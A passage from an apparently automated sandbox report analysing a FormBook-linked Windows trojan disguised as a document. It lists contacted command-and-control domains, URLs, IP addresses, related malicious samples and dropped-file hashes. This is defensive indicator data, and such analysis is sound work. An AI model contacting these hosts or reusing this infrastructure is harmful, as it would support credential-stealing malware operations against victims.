http://www.heldhold.xyz/fava/?pP_8=GCDZpLqdSYk7fT5CRgwCB4qcStchn8AdfdSMH3wAhEJHSlsoeLITVJbnCwS/lbUV+KMqaRxHJZIr2IJ0lKwQCgtKpqiTYCqf8kUZvClY0WdZB6RiKYyZbbU=&V0Qh=4pBta8	0%	Avira URL Cloud	safe
http://www.kfowks.site/c0yj/	0%	Avira URL Cloud	safe
https://secure.sahibinden.com/login?return_url=http%3A%2F%2Fwww.mfgarage.net%2F3lu7%2F%3FpP_8%3DnzWo	0%	Avira URL Cloud	safe
http://www.dalong.site/v2c3/	0%	Avira URL Cloud	safe
http://www.63582.photo/5o7d/?pP_8=zMeRclQqEZ6cHEksxL2258xeQPEFk6LXLXq5VQFXrGMOKBUumeR2nXgC5pr3HgG3QDdipY9Tb1BbXYBiFpGduAov/pmUDz/4soHslE7c+cNQZpL9+8t0WKA=&V0Qh=4pBta8	0%	Avira URL Cloud	safe
https://www.gandi.net/en/domain	0%	Avira URL Cloud	safe
http://www.030002304.xyz/tmpg/	0%	Avira URL Cloud	safe
http://www.ultraleap.net/8pln/?pP_8=T9/DtY4QstE2hf5O1waUB+I/eJ4Uv9cvfz5cQjr/yHb6PkgoDrQz8TZtAEENUqwsBaW/Syqgj8DnNvIHzYG9oL792aB/FoBSyK+aeSTPR1nXcfMqNX8wInY=&V0Qh=4pBta8	0%	Avira URL Cloud	safe
http://www.asiapartnars.online/kt2f/	0%	Avira URL Cloud	safe
http://www.kfowks.site	0%	Avira URL Cloud	safe
http://www.63582.photo/5o7d/	0%	Avira URL Cloud	safe
http://www.mfgarage.net/3lu7/	0%	Avira URL Cloud	safe
http://www.useanecdotenow.tech/68ac/	0%	Avira URL Cloud	safe
http://www.2bhp.com/a4ar/?V0Qh=4pBta8&pP_8=bigEPZ6XMKFUrjbnFuEouLJTNPVDiP/j9U81Matj+rZ/AUf1cwoUFkvfutX9dfv4h0MjihypUwM2GA6oEMuOAdNfbVj3/yE4LVCgAj4ckDbKMFX8mxMH3uQ=	0%	Avira URL Cloud	safe
http://www.rtpngk.xyz/altr/	0%	Avira URL Cloud	safe
http://www.dalong.site/v2c3/?V0Qh=4pBta8&pP_8=4KW7rJi8xQgG5Juif0zvrQruwxJNCZQzPrutLC9Z2JC7riozJk19TyUHcpxc9ASY/m5rLPYp2hVK9kL/MGxev+uUFboPihN5w7Wu/KeDCgTl/GYzmTNxclA=	0%	Avira URL Cloud	safe
http://www.ultraleap.net/8pln/	0%	Avira URL Cloud	safe
http://www.heldhold.xyz/fava/	0%	Avira URL Cloud	safe
https://www.63582.photo/5o7d/?pP_8=zMeRclQqEZ6cHEksxL2258xeQPEFk6LXLXq5VQFXrGMOKBUumeR2nXgC5pr3HgG3Q	0%	Avira URL Cloud	safe
http://www.40wxd.top/v4cy/	0%	Avira URL Cloud	safe
https://www.rtpngk.xyz/altr/?pP_8=VbdX0kog8qSHBufLtK	0%	Avira URL Cloud	safe
http://www.doggieradio.net/hzuv/?V0Qh=4pBta8&pP_8=yPYTPsOMRuT7nXzMZEh0cyOx75sbkvhbS623oo+vDaz4p8qW1TPOp1vW0qrZ2oW5wmcFkFH8avXQJuay0KjCNQuKV15vU1edPek8xw4GryuOme+JkwmIlF8=	0%	Avira URL Cloud	safe
http://www.useanecdotenow.tech/68ac/?V0Qh=4pBta8&pP_8=UdQRT8UlMLNCwpgj6kWQKKLq7pbVYmfVdUpnkoxSG75WqbyVgEBEWfcixBuHZAqOTbF9B+kCTwT7w8BXHK8l9WrkSPCW1YJ7B21iYQxfbqK0tW+zUb3ShNU=	0%	Avira URL Cloud	safe
http://www.mgeducacaopro.online/xamn/	0%	Avira URL Cloud	safe
http://www.asiapartnars.online/kt2f/?pP_8=3qIRfQl/AKdo1myUuOHVh1YjbZAZzTLYZ4NmxJouZDst8nFYGFmfJjzqUfk6VEmL81v5o0lFZhte5+gDx+sfFJzn9v28G/J2fr9BwA1qwWv9b12erCAk53Y=&V0Qh=4pBta8	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
webredir.vip.gandi.net	217.70.184.50	true	true	0%, Virustotal, Browse	unknown
useanecdotenow.tech	3.33.130.190	true	true		unknown
www.kfowks.site	38.181.141.122	true	true		unknown
dalong.site	172.96.187.60	true	true		unknown
www.b5x7vk.agency	104.21.11.31	true	true		unknown
www.heldhold.xyz	67.223.117.189	true	true		unknown
www.2bhp.com	81.88.63.46	true	true		unknown
linkwave.cloud	3.33.130.190	true	true	0%, Virustotal, Browse	unknown
40wxd.top	206.119.82.134	true	true	0%, Virustotal, Browse	unknown
doggieradio.net	3.33.130.190	true	true	0%, Virustotal, Browse	unknown
azkwupgf.as66588.com	147.92.40.175	true	true		unknown
www.rtpngk.xyz	188.114.97.3	true	true		unknown
030002304.xyz	65.21.196.90	true	true	0%, Virustotal, Browse	unknown
asiapartnars.online	3.33.130.190	true	true		unknown
mgeducacaopro.online	3.33.130.190	true	true		unknown
www.mfgarage.net	85.153.138.113	true	true		unknown
www.dalong.site	unknown	unknown	true		unknown
www.useanecdotenow.tech	unknown	unknown	true		unknown
www.ultraleap.net	unknown	unknown	true		unknown
www.linkwave.cloud	unknown	unknown	true		unknown
www.030002304.xyz	unknown	unknown	true		unknown
www.mgeducacaopro.online	unknown	unknown	true		unknown
www.asiapartnars.online	unknown	unknown	true		unknown
www.40wxd.top	unknown	unknown	true		unknown
www.doggieradio.net	unknown	unknown	true		unknown
www.63582.photo	unknown	unknown	true		unknown
206.23.85.13.in-addr.arpa	unknown	unknown	true	1%, Virustotal, Browse	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://www.linkwave.cloud/al6z/	true	Avira URL Cloud: safe	unknown
http://www.40wxd.top/v4cy/?pP_8=Y61bwknhs9hp9ZZcYkoE/rAHAVoATd7g+jLHgGwEyJh/LKrsM6hsQ8y2QWfg6r+Pzdmi8z7VAqFTz6bCx0F+lD/ii+PJJ/2nHI8msyIEMT4A2MQn/4udzH0=&V0Qh=4pBta8	true	Avira URL Cloud: safe	unknown
http://www.b5x7vk.agency/zznj/?V0Qh=4pBta8&pP_8=XN/afWzprYUm2zEh/Me8v7IO6BZfJ8ldqsTKqfvYzDGyGH3Qqe2ibLEK4zu3d4hkDWgHsBH7o/PgLSUsZsuwL2SV1lDf+BUf6ZfDIcx/0TWTXhhDzyKZrRs=	true	Avira URL Cloud: safe	unknown
http://www.doggieradio.net/hzuv/	true	Avira URL Cloud: safe	unknown
http://www.linkwave.cloud/al6z/?pP_8=VRCNh0NW0GgzXjJ9PdlWfXWwdPKpBv6LK6gi/31OI/HLVz3edLOFPgfBWIIFI1yv4KnHdZ/ByCAdRrOw29Cps8gpdM+xYTm/p50f5dz2MVQM3pqegGrg4cw=&V0Qh=4pBta8	true	Avira URL Cloud: safe	unknown
http://www.030002304.xyz/tmpg/?pP_8=CVP6mu+p7AIAUeNlIzILzbbwoLVaLtEPp22R6YZws2HFwQ6gURLmFkDuTnsSzWDqU9qDd9fOW/TdFJInumJ7doiOdR5iBNH/a8rQv0stnRBrBPHE6g/KoYg=&V0Qh=4pBta8	true	Avira URL Cloud: safe	unknown
http://www.b5x7vk.agency/zznj/	true	Avira URL Cloud: safe	unknown
http://www.heldhold.xyz/fava/?pP_8=GCDZpLqdSYk7fT5CRgwCB4qcStchn8AdfdSMH3wAhEJHSlsoeLITVJbnCwS/lbUV+KMqaRxHJZIr2IJ0lKwQCgtKpqiTYCqf8kUZvClY0WdZB6RiKYyZbbU=&V0Qh=4pBta8	true	Avira URL Cloud: safe	unknown
http://www.kfowks.site/c0yj/	true	Avira URL Cloud: safe	unknown
http://www.dalong.site/v2c3/	true	Avira URL Cloud: safe	unknown
http://www.63582.photo/5o7d/?pP_8=zMeRclQqEZ6cHEksxL2258xeQPEFk6LXLXq5VQFXrGMOKBUumeR2nXgC5pr3HgG3QDdipY9Tb1BbXYBiFpGduAov/pmUDz/4soHslE7c+cNQZpL9+8t0WKA=&V0Qh=4pBta8	true	Avira URL Cloud: safe	unknown
http://www.030002304.xyz/tmpg/	true	Avira URL Cloud: safe	unknown
http://www.ultraleap.net/8pln/?pP_8=T9/DtY4QstE2hf5O1waUB+I/eJ4Uv9cvfz5cQjr/yHb6PkgoDrQz8TZtAEENUqwsBaW/Syqgj8DnNvIHzYG9oL792aB/FoBSyK+aeSTPR1nXcfMqNX8wInY=&V0Qh=4pBta8	true	Avira URL Cloud: safe	unknown
http://www.asiapartnars.online/kt2f/	true	Avira URL Cloud: safe	unknown
http://www.mfgarage.net/3lu7/	true	Avira URL Cloud: safe	unknown
http://www.63582.photo/5o7d/	true	Avira URL Cloud: safe	unknown
http://www.useanecdotenow.tech/68ac/	true	Avira URL Cloud: safe	unknown
http://www.rtpngk.xyz/altr/	true	Avira URL Cloud: safe	unknown
http://www.2bhp.com/a4ar/?V0Qh=4pBta8&pP_8=bigEPZ6XMKFUrjbnFuEouLJTNPVDiP/j9U81Matj+rZ/AUf1cwoUFkvfutX9dfv4h0MjihypUwM2GA6oEMuOAdNfbVj3/yE4LVCgAj4ckDbKMFX8mxMH3uQ=	true	Avira URL Cloud: safe	unknown
http://www.dalong.site/v2c3/?V0Qh=4pBta8&pP_8=4KW7rJi8xQgG5Juif0zvrQruwxJNCZQzPrutLC9Z2JC7riozJk19TyUHcpxc9ASY/m5rLPYp2hVK9kL/MGxev+uUFboPihN5w7Wu/KeDCgTl/GYzmTNxclA=	true	Avira URL Cloud: safe	unknown
http://www.ultraleap.net/8pln/	true	Avira URL Cloud: safe	unknown
http://www.heldhold.xyz/fava/	true	Avira URL Cloud: safe	unknown
http://www.40wxd.top/v4cy/	true	Avira URL Cloud: safe	unknown
http://www.doggieradio.net/hzuv/?V0Qh=4pBta8&pP_8=yPYTPsOMRuT7nXzMZEh0cyOx75sbkvhbS623oo+vDaz4p8qW1TPOp1vW0qrZ2oW5wmcFkFH8avXQJuay0KjCNQuKV15vU1edPek8xw4GryuOme+JkwmIlF8=	true	Avira URL Cloud: safe	unknown
http://www.useanecdotenow.tech/68ac/?V0Qh=4pBta8&pP_8=UdQRT8UlMLNCwpgj6kWQKKLq7pbVYmfVdUpnkoxSG75WqbyVgEBEWfcixBuHZAqOTbF9B+kCTwT7w8BXHK8l9WrkSPCW1YJ7B21iYQxfbqK0tW+zUb3ShNU=	true	Avira URL Cloud: safe	unknown
http://www.mgeducacaopro.online/xamn/	true	Avira URL Cloud: safe	unknown
http://www.asiapartnars.online/kt2f/?pP_8=3qIRfQl/AKdo1myUuOHVh1YjbZAZzTLYZ4NmxJouZDst8nFYGFmfJjzqUfk6VEmL81v5o0lFZhte5+gDx+sfFJzn9v28G/J2fr9BwA1qwWv9b12erCAk53Y=&V0Qh=4pBta8	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	mstsc.exe, 00000003.00000003.1970050854.000000000771D000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/ac/?q=	mstsc.exe, 00000003.00000003.1970050854.000000000771D000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://whois.gandi.net/en/results?search=ultraleap.net	mstsc.exe, 00000003.00000002.4145420454.00000000050C6000.00000004.10000000.00040000.00000000.sdmp, mstsc.exe, 00000003.00000002.4148237192.00000000073C0000.00000004.00000800.00020000.00000000.sdmp, NZuQxWwOkTbZ.exe, 00000005.00000002.4144761635.0000000002E16000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	mstsc.exe, 00000003.00000003.1970050854.000000000771D000.00000004.00000020.00020000.00000000.sdmp	false	0%, Virustotal, Browse Avira URL Cloud: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	mstsc.exe, 00000003.00000003.1970050854.000000000771D000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://secure.sahibinden.com/login?return_url=http%3A%2F%2Fwww.mfgarage.net%2F3lu7%2F%3FpP_8%3DnzWo	mstsc.exe, 00000003.00000002.4145420454.0000000005D56000.00000004.10000000.00040000.00000000.sdmp, NZuQxWwOkTbZ.exe, 00000005.00000002.4144761635.0000000003AA6000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	mstsc.exe, 00000003.00000003.1970050854.000000000771D000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.gandi.net/en/domain	mstsc.exe, 00000003.00000002.4145420454.00000000050C6000.00000004.10000000.00040000.00000000.sdmp, mstsc.exe, 00000003.00000002.4148237192.00000000073C0000.00000004.00000800.00020000.00000000.sdmp, NZuQxWwOkTbZ.exe, 00000005.00000002.4144761635.0000000002E16000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.ecosia.org/newtab/	mstsc.exe, 00000003.00000003.1970050854.000000000771D000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.kfowks.site	NZuQxWwOkTbZ.exe, 00000005.00000002.4147103044.0000000004D2F000.00000040.80000000.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ac.ecosia.org/autocomplete?q=	mstsc.exe, 00000003.00000003.1970050854.000000000771D000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	mstsc.exe, 00000003.00000003.1970050854.000000000771D000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.63582.photo/5o7d/?pP_8=zMeRclQqEZ6cHEksxL2258xeQPEFk6LXLXq5VQFXrGMOKBUumeR2nXgC5pr3HgG3Q	mstsc.exe, 00000003.00000002.4145420454.000000000570E000.00000004.10000000.00040000.00000000.sdmp, NZuQxWwOkTbZ.exe, 00000005.00000002.4144761635.000000000345E000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.rtpngk.xyz/altr/?pP_8=VbdX0kog8qSHBufLtK	mstsc.exe, 00000003.00000002.4145420454.000000000607A000.00000004.10000000.00040000.00000000.sdmp, NZuQxWwOkTbZ.exe, 00000005.00000002.4144761635.0000000003DCA000.00000004.00000001.00040000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	mstsc.exe, 00000003.00000003.1970050854.000000000771D000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
67.223.117.189	www.heldhold.xyz	United States	15189	VIMRO-AS15189US	true
147.92.40.175	azkwupgf.as66588.com	Hong Kong	59371	DNC-ASDimensionNetworkCommunicationLimitedHK	true
65.21.196.90	030002304.xyz	United States	199592	CP-ASDE	true
172.96.187.60	dalong.site	Canada	32475	SINGLEHOP-LLCUS	true
188.114.97.3	www.rtpngk.xyz	European Union	13335	CLOUDFLARENETUS	true
38.181.141.122	www.kfowks.site	United States	174	COGENT-174US	true
217.70.184.50	webredir.vip.gandi.net	France	29169	GANDI-ASDomainnameregistrar-httpwwwgandinetFR	true
81.88.63.46	www.2bhp.com	Italy	39729	REGISTER-ASIT	true
104.21.11.31	www.b5x7vk.agency	United States	13335	CLOUDFLARENETUS	true
206.119.82.134	40wxd.top	United States	174	COGENT-174US	true
3.33.130.190	useanecdotenow.tech	United States	8987	AMAZONEXPANSIONGB	true
85.153.138.113	www.mfgarage.net	Turkey	12946	TELECABLESpainES	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1509246
Start date and time:	2024-09-11 11:16:08 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 40s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	9
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	2
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	DOC092024-0431202229487.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@7/5@17/12
EGA Information:	Successful, ratio: 75%
HCA Information:	Successful, ratio: 91% Number of executed functions: 63 Number of non-executed functions: 290
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing disassembly code.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
05:17:46	API Interceptor	13801335x Sleep call for process: mstsc.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
67.223.117.189	LisectAVT_2403002B_466.exe	Get hash	malicious	FormBook	Browse	www.techstone.top/d5fo/
	Shipping Documents 7896424100.exe	Get hash	malicious	FormBook	Browse	www.nodedev.top/wnsq/
	ORDEN_240715189833.IMG	Get hash	malicious	DarkTortilla, FormBook	Browse	www.akissdove.xyz/8ntn/
	OrderPI.exe	Get hash	malicious	FormBook	Browse	www.helidove.xyz/no40/
	PRE-ALERT HTHC22031529.exe	Get hash	malicious	FormBook	Browse	www.nodedev.top/wnsq/
	Scan405.exe	Get hash	malicious	FormBook	Browse	www.bandbid.top/38gc/
	ScanPDF_102.exe	Get hash	malicious	FormBook	Browse	www.bandbid.top/38gc/
	SHUYOU #U65b0#U6307#U4ee4 PO-2301010 03-07-2024.pdf.exe	Get hash	malicious	FormBook	Browse	www.nodedev.top/o93t/
	9hD6o07kwl.exe	Get hash	malicious	FormBook	Browse	www.advenhub.online/0so0/
	TFMUpLhFq6.exe	Get hash	malicious	FormBook	Browse	www.bandbid.top/38gc/
65.21.196.90	Remittance advice.exe	Get hash	malicious	FormBook	Browse	www.070001350.xyz/zvc6/
	doc330391202408011.exe	Get hash	malicious	FormBook	Browse	www.030002060.xyz/oap7/
	DHL airwaybill # 6913321715 & BL Draft copy.exe	Get hash	malicious	FormBook	Browse	www.030002721.xyz/i28e/
	yyyyyyyy.exe	Get hash	malicious	FormBook	Browse	www.030002060.xyz/d629/?EN-hu=KAaEqqZfS4cDvU3Ij6Gom2nrmNT9tw2tnUHZxD+rCxnnN6LgNdSAGbreu7nZG1S4n6xTi0fmbnaWzdqJKm8Z7U+GaCKh7LK1IRPJE/WiiU/xJvV0/w==&zx=TzUh
	AUG 2024 SOA.exe	Get hash	malicious	FormBook	Browse	www.070001294.xyz/ohwx/
	REQST_PRC 410240665_2024.exe	Get hash	malicious	FormBook	Browse	www.030002060.xyz/oap7/
	REQST_PRC 410240.exe	Get hash	malicious	FormBook	Browse	www.030002060.xyz/oap7/
	DPPLYAD_12872 PDF.exe	Get hash	malicious	FormBook	Browse	www.070001606.xyz/he2a/?nN=Sxl0i64hVtElz&CPG=LI2nq68wUFFStxnjJLN/mxD+8w5AbIj+oNjKa57fODVw+yTphrFd8cr1ngYbeJKQp45Y
	bintoday1.exe	Get hash	malicious	FormBook	Browse	www.030002721.xyz/jpse/
	Scan_000019921929240724_PDA _ SOA_Payment Reference TR-37827392-2024-08-29.exe	Get hash	malicious	FormBook	Browse	www.030002060.xyz/swxs/
172.96.187.60	xU0wdBC6XWRZ6UY.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	www.resmierabaru20.shop/ps15/?_jATs=UfdXThPpQ4ST0&XtutFHLx=3z9oRqqmd6FbtNg9CkHjvIkeoG86+7PKpZbS0bbY4gI7z8JQO6bI5gwIdi8ZdM48HBzoDxHL8Q==

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
webredir.vip.gandi.net	PO #86637.exe	Get hash	malicious	FormBook	Browse	217.70.184.50
	au1FjlRwFR.exe	Get hash	malicious	FormBook	Browse	217.70.184.50
	COTIZACION 290824.exe	Get hash	malicious	FormBook	Browse	217.70.184.50
	Scan_000019921929240724_PDA _ SOA_Payment Reference TR-37827392-2024-08-29.exe	Get hash	malicious	FormBook	Browse	217.70.184.50
	COMMERCAIL INVOICE AND AWB TRACKING DETAILS.exe	Get hash	malicious	FormBook	Browse	217.70.184.50
	DHL AWB TRACKING DETAILS.exe	Get hash	malicious	FormBook	Browse	217.70.184.50
	Pedido De Compra OC 4504 19082024 De Grupoeld SAS.exe	Get hash	malicious	FormBook	Browse	217.70.184.50
	Udspecialiser45.exe	Get hash	malicious	FormBook, GuLoader	Browse	217.70.184.50
	qEW7hMvyV7.exe	Get hash	malicious	FormBook	Browse	217.70.184.50
	z1PEDIDODECOMPRAURGENTE.exe	Get hash	malicious	FormBook	Browse	217.70.184.50

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SINGLEHOP-LLCUS	PDF PURCHASE INQUIRY PDF.exe	Get hash	malicious	FormBook	Browse	172.96.187.211
	Documents_Verification_Review_[PDF]_#20SE6GX.html	Get hash	malicious	HTMLPhisher	Browse	108.178.43.142
	http://bakhaa05.github.io/	Get hash	malicious	Unknown	Browse	162.253.224.21
	https://detailstrustedhere.x10.mx/try/mp	Get hash	malicious	Unknown	Browse	162.253.224.21
	https://b00gjbzv.r.us-west-2.awstrack.me/L0/https:%2F%2Fparaisowp.com%2Fm%2F%3Fc3Y9bzM2NV8xX25vbSZyYW5kPVQwZHlZa1k9JnVpZD1VU0VSMzAwODIwMjRVMjgwODMwMTU=N0123Nthall@op-f.org/1/01010191d79d900e-6255b045-a5e4-48b9-8b6b-ab6da554744e-000000/isZBEtKqJzwXn-iQuzgeaENPxGA=391	Get hash	malicious	Unknown	Browse	198.20.111.120
	https://eonlinealbum.com/wp-admin/network/network/H1093.php%20eonlinealbum.com	Get hash	malicious	Unknown	Browse	198.143.164.252
	MV ALIADO-S-REQ-19-000640.exe	Get hash	malicious	FormBook	Browse	172.96.187.211
	https://securemetamaskvallet.webflow.io/	Get hash	malicious	Unknown	Browse	198.143.164.252
	https://beepeople.com.br/wp-login.php?action=rp&key=A3iAn20LIOulNyvDirfj&login=www.bgdrnq.blogspot.fr%20-%20107%20156%20USD%20BTC%20i2jqdl	Get hash	malicious	Unknown	Browse	198.143.164.252
	http://lapersianeria.com/mot/a2FyZW5fdmFuX291dHJ5dmVAZmQub3Jn	Get hash	malicious	Unknown	Browse	184.154.193.210
CP-ASDE	Remittance advice.exe	Get hash	malicious	FormBook	Browse	65.21.196.90
	VMRhiAFJtl.exe	Get hash	malicious	Amadey, Clipboard Hijacker, CryptOne, Cryptbot, PureLog Stealer, RedLine, Stealc	Browse	65.21.18.51
	http:///ipscanadvsf.com	Get hash	malicious	Unknown	Browse	65.21.119.50
	XpCyBwDzEt.exe	Get hash	malicious	Amadey, Clipboard Hijacker, CryptOne, Cryptbot, DanaBot, PureLog Stealer, RedLine	Browse	65.21.18.51
	g082Q9DajU.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, Clipboard Hijacker, CryptOne, Cryptbot, PureLog Stealer	Browse	65.21.18.51
	doc330391202408011.exe	Get hash	malicious	FormBook	Browse	65.21.196.90
	DHL airwaybill # 6913321715 & BL Draft copy.exe	Get hash	malicious	FormBook	Browse	65.21.196.90
	yyyyyyyy.exe	Get hash	malicious	FormBook	Browse	65.21.196.90
	bot_library.exe	Get hash	malicious	Unknown	Browse	65.21.94.13
	AUG 2024 SOA.exe	Get hash	malicious	FormBook	Browse	65.21.196.90
DNC-ASDimensionNetworkCommunicationLimitedHK	Udspecialiser45.exe	Get hash	malicious	FormBook, GuLoader	Browse	147.92.36.247
	http://oveman-austral.com/	Get hash	malicious	Unknown	Browse	147.92.44.231
	PURCHASING ORDER.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	147.92.35.81
	a82WdwCQnQOQf4b.exe	Get hash	malicious	FormBook	Browse	147.92.35.81
	PTT Group project - Quotation.exe	Get hash	malicious	FormBook	Browse	147.92.36.231
	RFQ - MK FMHS.RFQ.24.101.exe	Get hash	malicious	FormBook	Browse	207.148.37.252
	Request for Quotation for PTTEP - EPCC for SISGES Development Project 2.exe	Get hash	malicious	FormBook	Browse	45.126.181.243
	mQY9ka5sW6hv2Ri.exe	Get hash	malicious	FormBook	Browse	147.92.43.172
	Materials specification with quantities.exe	Get hash	malicious	FormBook	Browse	147.92.36.232
	kpCSGLBxAw2RnrW.exe	Get hash	malicious	FormBook	Browse	147.92.43.172
VIMRO-AS15189US	SecuriteInfo.com.Win32.CrypterX-gen.29913.30159.exe	Get hash	malicious	FormBook	Browse	67.223.118.13
	LisectAVT_2403002B_466.exe	Get hash	malicious	FormBook	Browse	67.223.117.189
	H37012.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	67.223.118.13
	file.exe	Get hash	malicious	LummaC, Clipboard Hijacker, LummaC Stealer	Browse	67.223.119.7
	file.exe	Get hash	malicious	LummaC, Clipboard Hijacker, LummaC Stealer	Browse	67.223.119.7
	Shipping Documents 7896424100.exe	Get hash	malicious	FormBook	Browse	67.223.117.189
	ORDEN_240715189833.IMG	Get hash	malicious	DarkTortilla, FormBook	Browse	67.223.117.189
	OrderPI.exe	Get hash	malicious	FormBook	Browse	67.223.117.189
	PO HA25622.exe	Get hash	malicious	FormBook	Browse	67.223.118.13
	PRE-ALERT HTHC22031529.exe	Get hash	malicious	FormBook	Browse	67.223.117.189

Process:	C:\Windows\SysWOW64\mstsc.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Wauseon

Download File

Process:	C:\Users\user\Desktop\DOC092024-0431202229487.exe
File Type:	data
Category:	dropped
Size (bytes):	287744
Entropy (8bit):	7.995383375682175
Encrypted:	true
SSDEEP:	6144:m5EEXnQ9wBySivOD+qrHzFh/FrMBXugDvrwpAmNlPQ4bxQ:dwmwwCD+2TFIu55bG
MD5:	80E9D5DC059060F4C5C2424774B52DB5
SHA1:	822F8DDA3B47F5E2BEA4CE7A34AA2FB2E5B66C15
SHA-256:	FE946066454F6A1480E6D166B864CB6D482883FFCF2A8334264515388D8D6161
SHA-512:	E6EBC137CDC8A6DE9E751F9236C71C200EABBC3899089221F99AA16DC4D6BE730C22D5DC4194321906FB18768D3C31625F522F826E844DAE6552EA490EFEE884
Malicious:	false
Reputation:	low
Preview:	.....PIIZ...L...k.FF...P]...YQLPIIZC1YEZ6TCW6FEQAX1SUNKSYQ.PIIT\.WE.?.b.7..p.0X 